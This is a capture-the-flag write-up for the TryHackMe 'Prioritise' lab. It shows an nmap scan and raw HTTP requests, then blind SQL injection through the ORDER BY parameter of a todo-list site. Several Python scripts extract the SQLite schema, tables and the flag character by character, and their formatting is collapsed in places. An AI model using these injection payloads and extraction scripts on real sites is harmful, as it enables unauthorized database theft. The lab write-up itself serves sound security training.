┌──(kali㉿kali)-[~/Documents/tryhackme/prioritise]
└─$ nmap -sT 10.10.146.190
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-17 21:13 EDT
Nmap scan report for 10.10.146.190
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds
The Website greets us with a todo list, with the options to add entries, delete entries and sorting those by status, date or title.
POST /new HTTP/1.1
Host: 10.10.146.190
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.146.190
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.146.190/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
title=hello+world&date=05%2F25%2F2023
GET /?order=title HTTP/1.1
Host: 10.10.146.190
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.146.190/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Guessing the table todos with the column date reveals that the order by function is injectiable, by using the following two sql statements which evaluates and sorting the entries either way by title or date
(CASE WHEN(SELECT date FROM todos WHERE date IS NOT NULL) THEN title ELSE date END)
(CASE WHEN(SELECT date FROM todos WHERE date IS NOT NULL) THEN date ELSE title END)
To find the flag, try to get the sql schemata
Frist of all check the used database
Oracle Server Error 500
(CASE WHEN(SELECT table_name FROM dba_tables WHERE table_name IS NOT NULL) THEN date ELSE title END)
MySQL Server Error 500
(CASE WHEN(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME IS NOT NULL) THEN date ELSE title END)
SQLITE executes without a Server Error
(CASE WHEN(SELECT name FROM sqlite_schema WHERE name not null) THEN date ELSE title END)
To get the sql schemata we guess the characters leading to the case ordered by the title.
To avoid special characters like \n CHAR(10)\r CHAR(13)\t CHAR(9) those will be replace by + and -.
Dont forget to use group_concat to receive not just the first entry.
This Script failed unfortunatly, because it stopped due to a character which was not in probe, maybe a special character I did not consider.
SELECT sql FROM SQLITE_SCHEMA
import requests# create an entry with title of 'a' and a date greater than the next entry# create an entry with title of 'z' and a date smaler than the previous entry# https://portswigger.net/support/sql-injection-in-the-query-structurevalid ='a'probe ='+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'host="http://10.10.146.190/?order="result =''pos =1whileTrue:for elem in probe: query = "(CASE WHEN(SELECT SUBSTRING(replace(replace(replace(group_concat(sql), CHAR(10),'+'),CHAR(13),'+'),CHAR(9),'-'),1,{pos}) from sqlite_schema)='{sub}' THEN title ELSE date END)".format(pos=pos, sub=result+elem)
response = requests.get(host+query) text = response.text val = text.splitlines()[95].strip()if(val == valid): result += elem pos +=1breakif(elem == probe[-1]):print('\033[K')print(result)exit()if(elem !="\n"):print(result+elem,end='\r')
But there is another way to enumerate the db, by just getting the tables of the database:
SELECT NAME FROM SQLITE_SCHEMA WHERE TYPE = 'table' AND NAME NOT LIKE 'sqlite_%'
import requests# create an entry with title of 'a' and a date greater than the next entry# create an entry with title of 'z' and a date smaler than the previous entryvalid ='a'probe ='+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'host="http://10.10.146.190/?order="result =''pos =1whileTrue:for elem in probe: query = "(CASE WHEN(SELECT SUBSTRING(replace(replace(replace(replace(group_concat(name), CHAR(10),'+'),CHAR(13),'+'),CHAR(9),'-'),CHAR(8),'-'),1,{pos}) from sqlite_schema WHERE TYPE ='table' AND NAME NOT LIKE 'sqlite_%')='{sub}' THEN title ELSE date END)".format(pos=pos, sub=result+elem)
response = requests.get(host+query) text = response.text val = text.splitlines()[95].strip()if(val == valid): result += elem pos +=1breakif(elem == probe[-1]):print('\033[K')print(result)exit()if(elem !="\n"):print(result+elem,end='\r')
There we have a table named flag. Lets enumerate its columns
SELECT name FROM PRAGMA_TABLE_INFO('table_name')
import requests# create an entry with title of 'a' and a date greater than the next entry# create an entry with title of 'z' and a date smaler than the previous entryvalid ='a'probe ='+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'host="http://10.10.146.190/?order="result =''pos =1whileTrue:for elem in probe: query = "(CASE WHEN(SELECT SUBSTRING(replace(replace(replace(replace(group_concat(name), CHAR(10),'+'),CHAR(13),'+'),CHAR(9),'-'),CHAR(8),'-'),1,{pos}) from PRAGMA_TABLE_INFO('flag'))='{sub}' THEN title ELSE date END)".format(pos=pos, sub=result+elem)
response = requests.get(host+query) text = response.text val = text.splitlines()[95].strip()if(val == valid): result += elem pos +=1breakif(elem == probe[-1]):print('\033[K')print(result)exit()if(elem !="\n"):print(result+elem,end='\r')
┌──(kali㉿kali)-[~/Documents/tryhackme/prioritise]
└─$ python3 enum_columns.py
flag
Getting the flag
So we know now, that the table flag, contains a field named flag, which might contains the flag...
import requests# create an entry with title of 'a' and a date greater than the next entry# create an entry with title of 'z' and a date smaler than the previous entry# https://portswigger.net/support/sql-injection-in-the-query-structurevalid ='a'probe ='{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 'host="http://10.10.146.190/?order="result =''pos =1whileTrue:for elem in probe: query = "(CASE WHEN(SELECT SUBSTRING(flag,1,{pos}) from flag)='{sub}' THEN title ELSE date END)".format(pos=pos, sub=result+elem)
response = requests.get(host+query) text = response.text val = text.splitlines()[95].strip()if(val == valid): result += elem pos +=1breakif(elem == probe[-1]):print('\033[K')print(result)exit()print(result+elem,end='\r')